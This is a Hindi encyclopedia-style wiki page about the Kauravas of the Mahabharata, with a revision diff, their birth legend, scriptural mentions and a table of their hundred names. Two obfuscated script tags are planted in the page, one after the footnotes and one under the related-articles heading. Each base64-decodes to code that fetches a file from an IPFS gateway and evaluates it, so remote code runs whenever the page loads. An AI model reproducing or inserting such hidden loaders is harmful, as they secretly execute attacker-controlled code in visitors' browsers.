एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "०"।

"कौरव" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replacement - "पश्चात " to "पश्चात् ")
 
(2 सदस्यों द्वारा किये गये बीच के 8 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
'''कौरव''' [[कुरु]] के वंशज थे। [[महाभारत]] में [[हस्तिनापुर]] नरेश [[धृतराष्ट्र]] और [[गान्धारी]] के सौ पुत्र थे, जो कौरव कहलाते थे। सभी कौरवों में [[दुर्योधन]] सबसे बड़ा था, जो बहुत ही हठी स्वभाव का था। [[महाभारत]] युग में कौरवों का पूरे [[भारत]] में प्रभाव था। लेकिन इन पर परिवार द्रोही, षड़यंत्रकारी, छली-कपटी होने का दोष लगा, जो कुरुओं के राजमहल की एक विशेषता रही। [[दुर्योधन]] ने कौरवों की ग्यारह अक्षौहिणी सेना को मरवा डाला।
+
'''कौरव''' [[महाभारत]] में [[हस्तिनापुर]] नरेश [[धृतराष्ट्र]] और [[गान्धारी]] के पुत्र थे। ये संख्या में सौ थे तथा [[कुरु]] के वंशज थे। सभी कौरवों में [[दुर्योधन]] सबसे बड़ा था, जो बहुत ही हठी स्वभाव का था। [[महाभारत]] युग में कौरवों का पूरे [[भारत]] में प्रभाव था। लेकिन इन पर परिवार द्रोही, षड़यंत्रकारी और छली-कपटी होने का दोष लगा, जो कुरुओं के राजमहल की एक विशेषता रही। अपने हठी और क्रोधी स्वभाव के कारण ही [[दुर्योधन]] ने कौरवों की ग्यारह '[[अक्षौहिणी|अक्षौहिणी सेना]]' को मरवा डाला।
 +
==कथा==
 +
कौरवों के जन्म से सम्बन्धित निम्न कथा धर्मग्रंथों में मिलती है, जिसके अनुसार-
 +
 
 +
जिस समय [[युधिष्ठर]] के जन्म का समाचार धृतराष्ट्र की पत्नी गान्धारी को मिला तो उसके [[हृदय]] में भी पुत्रवती होने की लालसा जाग उठी। गान्धारी ने [[वेदव्यास]] से पुत्रवती होने का वरदान प्राप्त कर लिया। गर्भ धारण कर लेने के पश्चात् भी दो वर्ष व्यतीत हो गये, किंतु गान्धारी के कोई भी संतान उत्पन्न नहीं हुई। इस पर क्रोध से भरी हुई गान्धारी ने क्षोभवश अपने पेट पर जोर से मुक्के का प्रहार किया, जिससे उसका गर्भ गिर गया। योगबल से महर्षि वेदव्यास ने इस घटना को तत्काल ही जान लिया। वे गान्धारी के पास आकर बोले- "गान्धारी! तूने बहुत ग़लत किया। मेरा दिया हुआ वर कभी मिथ्या नहीं जाता। अब तुम शीघ्र ही सौ कुण्ड तैयार करवाओ और उनमें घृत (घी) भरवा दो।" गान्धारी ने उनकी आज्ञानुसार सौ कुण्ड बनवा दिये।
 +
====कौरवों का जन्म====
 +
वेदव्यास ने गान्धारी के गर्भ से निकले मांस पिण्ड पर अभिमन्त्रित [[जल]] छिड़का, जिससे उस पिण्ड के अँगूठे के पोरुये के बराबर सौ टुकड़े हो गये। वेदव्यास ने उन टुकड़ों को गान्धारी के बनवाये हुए सौ कुण्डों में रखवा दिया और उन कुण्डों को दो वर्ष पश्चात् खोलने का आदेश देकर अपने [[आश्रम]] चले गये। दो वर्ष बाद सबसे पहले कुण्ड से [[दुर्योधन]] की उत्पत्ति हुई। दुर्योधन के जन्म के दिन ही [[कुन्ती]] के पुत्र [[भीम (पांडव)|भीम]] का भी जन्म हुआ। दुर्योधन जन्म लेते ही गधे की तरह रेंकने लगा। ज्योतिषियों से इसका लक्षण पूछे जाने पर उन लोगों ने [[धृतराष्ट्र]] को बताया कि- "राजन! आपका यह पुत्र कुल का नाश करने वाला होगा। इसे त्याग देना ही उचित है।" किन्तु पुत्र मोह के कारण धृतराष्ट्र उसका त्याग नहीं कर सके। फिर उन कुण्डों से धृतराष्ट्र के शेष 99 पुत्र एवं [[दु:शला]] नामक एक कन्या का जन्म हुआ। गान्धारी गर्भ के समय धृतराष्ट्र की सेवा में असमर्थ हो गयी थी, अतएव उनकी सेवा के लिये एक दासी रखी गई। धृतराष्ट्र के सहवास से उस दासी का भी '[[युयुत्सु]]' नामक एक पुत्र हुआ। युवा होने पर सभी राजकुमारों का [[विवाह]] यथा योग्य कन्याओं से कर दिया गया। दु:शला का विवाह [[सिन्धु प्रदेश|सिन्धु]] नरेश [[जयद्रथ]] के साथ हुआ।
 
==ग्रंथों में उल्लेख==
 
==ग्रंथों में उल्लेख==
[[अथर्ववेद]] में कुरुवंशा दम्पत्ति और [[परीक्षित]] के संदर्भ आए हैं।<ref>[[अथर्ववेद]], अध्याय 20-127-8</ref> वैसे तो [[हस्तिनापुर]] का समस्त राजपरिवार, जिसमें [[पाण्डु]] के पुत्र भी सम्मिलित थे, कौरव कहलाता था, परन्तु यह संज्ञा [[धृतराष्ट्र]] के पुत्रों के लिए ही प्रयुक्त होने लगी। कुरुओं का उल्लेख [[वेद|वेदों]] में भी हुआ है। [[पंचजन (पाँच व्यक्ति)|पंचजनों]] में इनकी भी गणना होती थी। उत्तर और दक्षिण कुरु नाम की इनकी दो शाखाएं थीं। भले ही यह महाकाव्य की कथा हो, कौरवों को ऐसा श्राप लगा कि वे हज़ारों साल तक किसी की भी सहानुभूति के पात्र नहीं रहे और [[क्षत्रिय]] जाति के होते हुए भी असुर कोटि में गणना के योग्य बन गए।
+
[[अथर्ववेद]] में कुरुवंश दम्पत्ति और [[परीक्षित]] के संदर्भ आए हैं।<ref>[[अथर्ववेद]], अध्याय 20-127-8</ref> वैसे तो [[हस्तिनापुर]] का समस्त राजपरिवार, जिसमें [[पाण्डु]] के पुत्र भी सम्मिलित थे, कौरव कहलाता था, परन्तु यह संज्ञा [[धृतराष्ट्र]] के पुत्रों के लिए ही प्रयुक्त होने लगी। कुरुओं का उल्लेख [[वेद|वेदों]] में भी हुआ है। [[पंचजन (पाँच व्यक्ति)|पंचजनों]] में इनकी भी गणना होती थी। 'उत्तर कुरु' और 'दक्षिण कुरु' नाम की इनकी दो शाखाएँ थीं। भले ही यह [[महाकाव्य]] की कथा हो, कौरवों को ऐसा श्राप लगा कि वे हज़ारों साल तक किसी की भी सहानुभूति के पात्र नहीं रहे और [[क्षत्रिय]] जाति के होते हुए भी असुर कोटि में गणना के योग्य बन गए।
==जन्म-कथा==
+
====कौरवों के नाम====
[[युधिष्ठर]] के जन्म होने पर धृतराष्ट्र की पत्नी गान्धारी के [[हृदय]] में भी पुत्रवती होने की लालसा जागी। गान्धारी ने [[वेदव्यास]] जी से पुत्रवती होने का वरदान प्राप्त कर लिया। गर्भ धारण के पश्चात दो वर्ष व्यतीत हो जाने पर भी जब पुत्र का जन्म नहीं हुआ तो क्षोभवश गान्धारी ने अपने पेट में मुक्का मार कर अपना गर्भ गिरा दिया। योगबल से वेदव्यास ने इस घटना को तत्काल जान लिया। वे गान्धारी के पास आकर बोले, "गान्धारी तूने बहुत ग़लत किया। मेरा दिया हुआ वर कभी मिथ्या नहीं जाता। अब तुम शीघ्र सौ कुण्ड तैयार कर के उनमें घृत भरवा दो।" गान्धारी ने उनकी आज्ञानुसार सौ कुण्ड बनवा दिये।
+
सौ कौरवों के नाम इस प्रकार हैं-
====कौरवों का जन्म====
+
{| width="100%" class="bharattable-pink"
वेदव्यास ने गान्धारी के गर्भ से निकले मांसपिण्ड पर अभिमन्त्रित [[जल]] छिड़का, जिसे उस पिण्ड के अँगूठे के पोरुये के बराबर सौ टुकड़े हो गये। वेदव्यास ने उन टुकड़ों को गान्धारी के बनवाये सौ कुण्डों में रखवा दिया और उन कुण्डों को दो वर्ष पश्चात खोलने का आदेश दे अपने आश्रम चले गये। दो वर्ष बाद सबसे पहले कुण्ड से [[दुर्योधन]] की उत्पत्ति हुई। दुर्योधन के जन्म के दिन ही [[कुन्ती]] के पुत्र [[भीम (पांडव)|भीम]] का भी जन्म हुआ। दुर्योधन जन्म लेते ही गधे की तरह रेंकने लगा। ज्योतिषियों से इसका लक्षण पूछे जाने पर उन लोगों ने [[धृतराष्ट्र]] को बताया, "राजन! आपका यह पुत्र कुल का नाश करने वाला होगा। इसे त्याग देना ही उचित है, किन्तु पुत्र मोह के कारण धृतराष्ट्र उसका त्याग नहीं कर सके। फिर उन कुण्डों से धृतराष्ट्र के शेष 99 पुत्र एवं [[दु:शला]] नामक एक कन्या का जन्म हुआ।
+
|+सौ कौरवों के नाम<ref>{{cite web |url=http://agoodplace4all.com/?p=6834|title=पाँच पाण्डव और सौ कौरवों के नाम|accessmonthday=19 जुलाई|accessyear= 2013|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref>
 +
|-
 +
! क्रम संख्या
 +
! नाम
 +
! क्रम संख्या
 +
! नाम
 +
! क्रम संख्या
 +
! नाम
 +
! क्रम संख्या
 +
! नाम
 +
! क्रम संख्या
 +
! नाम
 +
|-
 +
|1.
 +
|[[दुर्योधन]]
 +
|2.
 +
|[[दुःशासन]]
 +
|3.
 +
|दुःसह
 +
|4.
 +
|दुःशल
 +
|5.
 +
|जलसंघ
 +
|-
 +
|6.
 +
|सम
 +
|7.
 +
|सह
 +
|8.
 +
|विंद
 +
|9.
 +
|अनुविंद
 +
|10.
 +
|दुर्धर्ष
 +
|-
 +
|11.
 +
|सुबाहु
 +
|12.
 +
|दुषप्रधर्षण
 +
|13.
 +
|दुर्मर्षण
 +
|14.
 +
|दुर्मुख
 +
|15.
 +
|दुष्कर्ण
 +
|-
 +
|16.
 +
|विकर्ण
 +
|17.
 +
|शल
 +
|18.
 +
|सत्वान
 +
|19.
 +
|सुलोचन
 +
|20.
 +
|चित्र
 +
|-
 +
|21.
 +
|उपचित्र
 +
|22.
 +
|चित्राक्ष
 +
|23.
 +
|चारुचित्र
 +
|24.
 +
|शरासन
 +
|25.
 +
|दुर्मद
 +
|-
 +
|26.
 +
|दुर्विगाह
 +
|27.
 +
|विवित्सु
 +
|28.
 +
|विकटानन्द
 +
|29.
 +
|ऊर्णनाभ
 +
|30.
 +
|सुनाभ
 +
|-
 +
|31.
 +
|नन्द
 +
|32.
 +
|उपनन्द
 +
|33.
 +
|चित्रबाण
 +
|34.
 +
|चित्रवर्मा
 +
|35.
 +
|सुवर्मा
 +
|-
 +
|36.
 +
|दुर्विमोचन
 +
|37.
 +
|अयोबाहु
 +
|38.
 +
|महाबाहु
 +
|39.
 +
|चित्रांग
 +
|40.
 +
|चित्रकुण्डल
 +
|-
 +
|41.
 +
|भीमवेग
 +
|42.
 +
|भीमबल
 +
|43.
 +
|बालाकि
 +
|44.
 +
|बलवर्धन
 +
|45.
 +
|उग्रायुध
 +
|-
 +
|46.
 +
|सुषेण
 +
|47.
 +
|कुण्डधर
 +
|48.
 +
|महोदर
 +
|49.
 +
|चित्रायुध
 +
|50.
 +
|निषंगी
 +
|-
 +
|51.
 +
|पाशी
 +
|52.
 +
|वृन्दारक
 +
|53.
 +
|दृढ़वर्मा
 +
|54.
 +
|दृढ़क्षत्र
 +
|55.
 +
|सोमकीर्ति
 +
|-
 +
|56.
 +
|अनूदर
 +
|57.
 +
|दढ़संघ
 +
|58.
 +
|जरासंघ
 +
|59.
 +
|सत्यसंघ
 +
|60.
 +
|सद्सुवाक
 +
|-
 +
|61.
 +
|उग्रश्रवा
 +
|62.
 +
|उग्रसेन
 +
|63.
 +
|सेनानी
 +
|64.
 +
|दुष्पराजय
 +
|65.
 +
|अपराजित
 +
|-
 +
|66.
 +
|कुण्डशायी
 +
|67.
 +
|विशालाक्ष
 +
|68.
 +
|दुराधर
 +
|69.
 +
|दृढ़हस्त
 +
|70.
 +
|सुहस्त
 +
|-
 +
|71.
 +
|वातवेग
 +
|72.
 +
|सुवर्च
 +
|73.
 +
|आदित्यकेतु
 +
|74.
 +
|बह्वाशी
 +
|75.
 +
|नागदत्त
 +
|-
 +
|76.
 +
|उग्रशायी
 +
|77.
 +
|कवचि
 +
|78.
 +
|क्रथन
 +
|79.
 +
|कुण्डी
 +
|80.
 +
|भीमविक्र
 +
|-
 +
|81.
 +
|धनुर्धर
 +
|82.
 +
|वीरबाहु
 +
|83.
 +
|अलोलुप
 +
|84.
 +
|अभय
 +
|85.
 +
|दृढ़कर्मा
 +
|-
 +
|86.
 +
|दृढ़रथाश्रय
 +
|87.
 +
|अनाधृष्य
 +
|88.
 +
|कुण्डभेदी
 +
|89.
 +
|विरवि
 +
|90.
 +
|चित्रकुण्डल
 +
|-
 +
|91.
 +
|प्रधम
 +
|92.
 +
|अमाप्रमाथि
 +
|93.
 +
|दीर्घरोमा
 +
|94.
 +
|सुवीर्यवान
 +
|95.
 +
|दीर्घबाहु
 +
|-
 +
|96.
 +
|सुजात
 +
|97.
 +
|कनकध्वज
 +
|98.
 +
|कुण्डाशी
 +
|99.
 +
|विरज
 +
|100
 +
|[[युयुत्सु]]
 +
|}
  
गान्धारी गर्भ के समय धृतराष्ट्र की सेवा में असमर्थ हो गयी थी अतएव उनकी सेवा के लिये एक दासी रखी गई। धृतराष्ट्र के सहवास से उस दासी का भी [[युयुत्स]] नामक एक पुत्र हुआ। युवा होने पर सभी राजकुमारों का [[विवाह]] यथा योग्य कन्याओं से कर दिया गया। दु:शला का विवाह [[जयद्रथ]] के साथ हुआ।
+
*यद्यपि अलग-अलग ग्रंथों में कौरवों के कुछ नामों में परिवर्तन भी मिलते हैं। उपरोक्त सौ कौरवों की एक बहिन भी थी, जिसका नाम '[[दु:शला]]' था और जिसका [[विवाह]] [[जयद्रथ]] के साथ सम्पन्न हुआ था।
  
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
 +
==टीका टिप्पणी और संदर्भ==
 +
<references/>
 
==संबंधित लेख==
 
==संबंधित लेख==
{{महाभारत}}
+
{{महाभारत}}{{महाभारत युद्ध}}
{{महाभारत2}}
+
[[Category:महाभारत]][[Category:पौराणिक कोश]][[Category:प्रसिद्ध चरित्र और मिथक कोश]]
[[Category:पौराणिक कोश]]
 
[[Category:महाभारत]]
 
 
__INDEX__
 
__INDEX__
 
__NOTOC__
 
__NOTOC__

07:51, 23 जून 2017 के समय का अवतरण

कौरव महाभारत में हस्तिनापुर नरेश धृतराष्ट्र और गान्धारी के पुत्र थे। ये संख्या में सौ थे तथा कुरु के वंशज थे। सभी कौरवों में दुर्योधन सबसे बड़ा था, जो बहुत ही हठी स्वभाव का था। महाभारत युग में कौरवों का पूरे भारत में प्रभाव था। लेकिन इन पर परिवार द्रोही, षड़यंत्रकारी और छली-कपटी होने का दोष लगा, जो कुरुओं के राजमहल की एक विशेषता रही। अपने हठी और क्रोधी स्वभाव के कारण ही दुर्योधन ने कौरवों की ग्यारह 'अक्षौहिणी सेना' को मरवा डाला।

कथा

कौरवों के जन्म से सम्बन्धित निम्न कथा धर्मग्रंथों में मिलती है, जिसके अनुसार-

जिस समय युधिष्ठर के जन्म का समाचार धृतराष्ट्र की पत्नी गान्धारी को मिला तो उसके हृदय में भी पुत्रवती होने की लालसा जाग उठी। गान्धारी ने वेदव्यास से पुत्रवती होने का वरदान प्राप्त कर लिया। गर्भ धारण कर लेने के पश्चात् भी दो वर्ष व्यतीत हो गये, किंतु गान्धारी के कोई भी संतान उत्पन्न नहीं हुई। इस पर क्रोध से भरी हुई गान्धारी ने क्षोभवश अपने पेट पर जोर से मुक्के का प्रहार किया, जिससे उसका गर्भ गिर गया। योगबल से महर्षि वेदव्यास ने इस घटना को तत्काल ही जान लिया। वे गान्धारी के पास आकर बोले- "गान्धारी! तूने बहुत ग़लत किया। मेरा दिया हुआ वर कभी मिथ्या नहीं जाता। अब तुम शीघ्र ही सौ कुण्ड तैयार करवाओ और उनमें घृत (घी) भरवा दो।" गान्धारी ने उनकी आज्ञानुसार सौ कुण्ड बनवा दिये।

कौरवों का जन्म

वेदव्यास ने गान्धारी के गर्भ से निकले मांस पिण्ड पर अभिमन्त्रित जल छिड़का, जिससे उस पिण्ड के अँगूठे के पोरुये के बराबर सौ टुकड़े हो गये। वेदव्यास ने उन टुकड़ों को गान्धारी के बनवाये हुए सौ कुण्डों में रखवा दिया और उन कुण्डों को दो वर्ष पश्चात् खोलने का आदेश देकर अपने आश्रम चले गये। दो वर्ष बाद सबसे पहले कुण्ड से दुर्योधन की उत्पत्ति हुई। दुर्योधन के जन्म के दिन ही कुन्ती के पुत्र भीम का भी जन्म हुआ। दुर्योधन जन्म लेते ही गधे की तरह रेंकने लगा। ज्योतिषियों से इसका लक्षण पूछे जाने पर उन लोगों ने धृतराष्ट्र को बताया कि- "राजन! आपका यह पुत्र कुल का नाश करने वाला होगा। इसे त्याग देना ही उचित है।" किन्तु पुत्र मोह के कारण धृतराष्ट्र उसका त्याग नहीं कर सके। फिर उन कुण्डों से धृतराष्ट्र के शेष 99 पुत्र एवं दु:शला नामक एक कन्या का जन्म हुआ। गान्धारी गर्भ के समय धृतराष्ट्र की सेवा में असमर्थ हो गयी थी, अतएव उनकी सेवा के लिये एक दासी रखी गई। धृतराष्ट्र के सहवास से उस दासी का भी 'युयुत्सु' नामक एक पुत्र हुआ। युवा होने पर सभी राजकुमारों का विवाह यथा योग्य कन्याओं से कर दिया गया। दु:शला का विवाह सिन्धु नरेश जयद्रथ के साथ हुआ।

ग्रंथों में उल्लेख

अथर्ववेद में कुरुवंश दम्पत्ति और परीक्षित के संदर्भ आए हैं।[1] वैसे तो हस्तिनापुर का समस्त राजपरिवार, जिसमें पाण्डु के पुत्र भी सम्मिलित थे, कौरव कहलाता था, परन्तु यह संज्ञा धृतराष्ट्र के पुत्रों के लिए ही प्रयुक्त होने लगी। कुरुओं का उल्लेख वेदों में भी हुआ है। पंचजनों में इनकी भी गणना होती थी। 'उत्तर कुरु' और 'दक्षिण कुरु' नाम की इनकी दो शाखाएँ थीं। भले ही यह महाकाव्य की कथा हो, कौरवों को ऐसा श्राप लगा कि वे हज़ारों साल तक किसी की भी सहानुभूति के पात्र नहीं रहे और क्षत्रिय जाति के होते हुए भी असुर कोटि में गणना के योग्य बन गए।

कौरवों के नाम

सौ कौरवों के नाम इस प्रकार हैं-

सौ कौरवों के नाम[2]
क्रम संख्या नाम क्रम संख्या नाम क्रम संख्या नाम क्रम संख्या नाम क्रम संख्या नाम
1. दुर्योधन 2. दुःशासन 3. दुःसह 4. दुःशल 5. जलसंघ
6. सम 7. सह 8. विंद 9. अनुविंद 10. दुर्धर्ष
11. सुबाहु 12. दुषप्रधर्षण 13. दुर्मर्षण 14. दुर्मुख 15. दुष्कर्ण
16. विकर्ण 17. शल 18. सत्वान 19. सुलोचन 20. चित्र
21. उपचित्र 22. चित्राक्ष 23. चारुचित्र 24. शरासन 25. दुर्मद
26. दुर्विगाह 27. विवित्सु 28. विकटानन्द 29. ऊर्णनाभ 30. सुनाभ
31. नन्द 32. उपनन्द 33. चित्रबाण 34. चित्रवर्मा 35. सुवर्मा
36. दुर्विमोचन 37. अयोबाहु 38. महाबाहु 39. चित्रांग 40. चित्रकुण्डल
41. भीमवेग 42. भीमबल 43. बालाकि 44. बलवर्धन 45. उग्रायुध
46. सुषेण 47. कुण्डधर 48. महोदर 49. चित्रायुध 50. निषंगी
51. पाशी 52. वृन्दारक 53. दृढ़वर्मा 54. दृढ़क्षत्र 55. सोमकीर्ति
56. अनूदर 57. दढ़संघ 58. जरासंघ 59. सत्यसंघ 60. सद्सुवाक
61. उग्रश्रवा 62. उग्रसेन 63. सेनानी 64. दुष्पराजय 65. अपराजित
66. कुण्डशायी 67. विशालाक्ष 68. दुराधर 69. दृढ़हस्त 70. सुहस्त
71. वातवेग 72. सुवर्च 73. आदित्यकेतु 74. बह्वाशी 75. नागदत्त
76. उग्रशायी 77. कवचि 78. क्रथन 79. कुण्डी 80. भीमविक्र
81. धनुर्धर 82. वीरबाहु 83. अलोलुप 84. अभय 85. दृढ़कर्मा
86. दृढ़रथाश्रय 87. अनाधृष्य 88. कुण्डभेदी 89. विरवि 90. चित्रकुण्डल
91. प्रधम 92. अमाप्रमाथि 93. दीर्घरोमा 94. सुवीर्यवान 95. दीर्घबाहु
96. सुजात 97. कनकध्वज 98. कुण्डाशी 99. विरज 100 युयुत्सु
  • यद्यपि अलग-अलग ग्रंथों में कौरवों के कुछ नामों में परिवर्तन भी मिलते हैं। उपरोक्त सौ कौरवों की एक बहिन भी थी, जिसका नाम 'दु:शला' था और जिसका विवाह जयद्रथ के साथ सम्पन्न हुआ था।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. अथर्ववेद, अध्याय 20-127-8
  2. पाँच पाण्डव और सौ कौरवों के नाम (हिन्दी)। । अभिगमन तिथि: 19 जुलाई, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>